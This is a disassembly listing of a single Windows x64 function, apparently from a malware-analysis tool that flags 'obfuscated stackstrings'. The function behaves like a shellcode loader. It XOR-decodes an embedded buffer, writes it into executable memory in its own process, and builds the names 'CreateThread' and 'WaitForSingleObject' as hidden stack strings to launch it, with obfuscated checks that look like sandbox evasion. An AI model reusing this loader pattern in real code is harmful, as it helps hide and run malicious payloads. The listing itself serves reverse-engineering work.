Function at 0x14001ac7c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rdi
sub rsp, 0xd80
mov rax, qword [0x140036b80]
xor rax, rsp
mov qword [rsp + 0xd78], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x30]
call fcn.140016f98
mov rcx, rax
call fcn.1400163dc
mov rdx, rax
lea rcx, [rsp + 0xd30]
call fcn.14001485c
nop
mov edx, 0x18
lea rcx, [rsp + 0xd18]
call fcn.140022ecc
lea rdx, [rsp + 0xd30]
lea rcx, [rsp + 0xd18]
call fcn.140025aa8
nop
lea rcx, [rsp + 0xd08]
call fcn.140026b5c
nop
mov dword [rsp + 0x48], 0xbb8
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xc0]
call fcn.1400010ec
mov rcx, rax
call fcn.1400081cc
nop
lea rcx, [rsp + 0xd10]
call fcn.140026b5c
nop
lea r8, [rsp + 0xd08]
lea rdx, [rsp + 0xd10]
lea rcx, [rsp + 0xc8]
call fcn.140001790
mov rdx, rax
lea rcx, [rsp + 0xd00]
call fcn.140007ac4
nop
lea rcx, [rsp + 0xd00]
call fcn.140004854
mov dword [rsp + 0x4c], eax
mov dword [rsp + 0x50], 0x7f149
mov eax, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140007b10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov al, byte [0x140036b6c]
movsx eax, al
mov dword [rsp + 0x54], eax
call fcn.140022ec4
movsx eax, al
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
call fcn.140022eb8
movsx eax, al
shl eax, 2
mov dword [rsp + 0x58], eax
call fcn.140022eb4
movsx eax, al
mov ecx, dword [rsp + 0x58]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140036b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140036b68]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14001b274
cmp dword [rsp + 0x40], 0x7be73
jle 0x14001ae30
mov dword [rsp + 0x44], 1
jmp 0x14001ae38
mov dword [rsp + 0x44], 0
cmp dword [rsp + 0x44], 0x80c93
jge 0x14001ae50
mov qword [rsp + 0x88], 1
jmp 0x14001ae5c
mov qword [rsp + 0x88], 0
cvtsi2sd xmm0, qword [rsp + 0x88]
call fcn.140025e38
mov dword [rsp + 0x6c], eax
mov cl, byte [0x140036b6c]
movsx ecx, cl
mov dword [rsp + 0x60], ecx
call fcn.140022ec4
movsx eax, al
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
call fcn.140022eb8
movsx eax, al
imul eax, eax, 5
mov dword [rsp + 0x64], eax
call fcn.140022eb4
movsx eax, al
mov ecx, dword [rsp + 0x64]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140036b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140036b68]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x6c]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x14001b274
xor eax, eax
cmp eax, 0xa
je 0x14001b274
lea rcx, [rsp + 0xd18]
call fcn.140027bc4
mov qword [rsp + 0xcf0], rax
mov rcx, qword [rsp + 0xcf0]
call fcn.14002a89c
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0xd18]
call fcn.140022cdc
mov r8, qword [rsp + 0xcf0]
mov rdx, rax
mov rcx, qword [rsp + 0x90]
call sub.ucrtbase.dll_memcpy
nop
mov dword [rsp + 0x34], 0
jmp 0x14001af60
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
mov al, byte [0x140036b6c]
movsx eax, al
mov dword [rsp + 0x70], eax
call fcn.140022ec4
movsx eax, al
mov ecx, dword [rsp + 0x70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x78], eax
call fcn.140022eb8
movsx eax, al
mov dword [rsp + 0x74], eax
call fcn.140022eb4
movsx eax, al
mov ecx, dword [rsp + 0x74]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x78]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140036b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140036b68]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.140025e38
cmp dword [rsp + 0x34], eax
jge 0x14001b034
mov qword [rsp + 0x38], 0
jmp 0x14001afe8
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0x1191
jae 0x14001b02f
lea rax, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
mov dl, 0xaa
mov rcx, qword [rsp + 0x38]
mov cl, byte [rax + rcx]
call fcn.140027e64
lea rax, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
mov rcx, qword [rsp + 0x38]
movzx eax, byte [rax + rcx]
xor eax, 0xfe
lea rcx, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
mov rdx, qword [rsp + 0x38]
mov byte [rcx + rdx], al
jmp 0x14001afdb
jmp 0x14001af56
call fcn.140025818
call fcn.140019a8c
mov qword [rsp + 0xcf8], 0
mov dword [rsp + 0x80], 0x1000
mov dword [rsp + 0x7c], 0x40
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [rsp + 0x7c]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0x80]
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0xcf0]
xor r8d, r8d
lea rdx, [rsp + 0xcf8]
mov rcx, rax
call fcn.14002a6b0
mov dword [rsp + 0x98], eax
call fcn.14001b7cc
call fcn.140025818
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0xcf0]
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xcf8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov byte [rsp + 0xd50], 0x43
mov byte [rsp + 0xd51], 0x72
mov byte [rsp + 0xd52], 0x65
mov byte [rsp + 0xd53], 0x61
mov byte [rsp + 0xd54], 0x74
mov byte [rsp + 0xd55], 0x65
mov byte [rsp + 0xd56], 0x54
mov byte [rsp + 0xd57], 0x68
mov byte [rsp + 0xd58], 0x72
mov byte [rsp + 0xd59], 0x65
mov byte [rsp + 0xd5a], 0x61
mov byte [rsp + 0xd5b], 0x64
mov byte [rsp + 0xd5c], 0
lea rcx, [0x14002d830]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rsp + 0xd50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa8], rax
call fcn.140025818
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xcf8]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0xa8]
mov qword [rsp + 0xb0], rax
mov byte [rsp + 0xd60], 0x57
mov byte [rsp + 0xd61], 0x61
mov byte [rsp + 0xd62], 0x69
mov byte [rsp + 0xd63], 0x74
mov byte [rsp + 0xd64], 0x46
mov byte [rsp + 0xd65], 0x6f
mov byte [rsp + 0xd66], 0x72
mov byte [rsp + 0xd67], 0x53
mov byte [rsp + 0xd68], 0x69
mov byte [rsp + 0xd69], 0x6e
mov byte [rsp + 0xd6a], 0x67
mov byte [rsp + 0xd6b], 0x6c
mov byte [rsp + 0xd6c], 0x65
mov byte [rsp + 0xd6d], 0x4f
mov byte [rsp + 0xd6e], 0x62
mov byte [rsp + 0xd6f], 0x6a
mov byte [rsp + 0xd70], 0x65
mov byte [rsp + 0xd71], 0x63
mov byte [rsp + 0xd72], 0x74
mov byte [rsp + 0xd73], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rsp + 0xd60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb8], rax
call fcn.140025818
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0xb8]
nop
lea rcx, [rsp + 0xd18]
call fcn.140015958
nop
lea rcx, [rsp + 0xd30]
call fcn.1400158a0
nop
mov rcx, qword [rsp + 0xd78]
xor rcx, rsp
call fcn.14002a9b0
add rsp, 0xd80
pop rdi
ret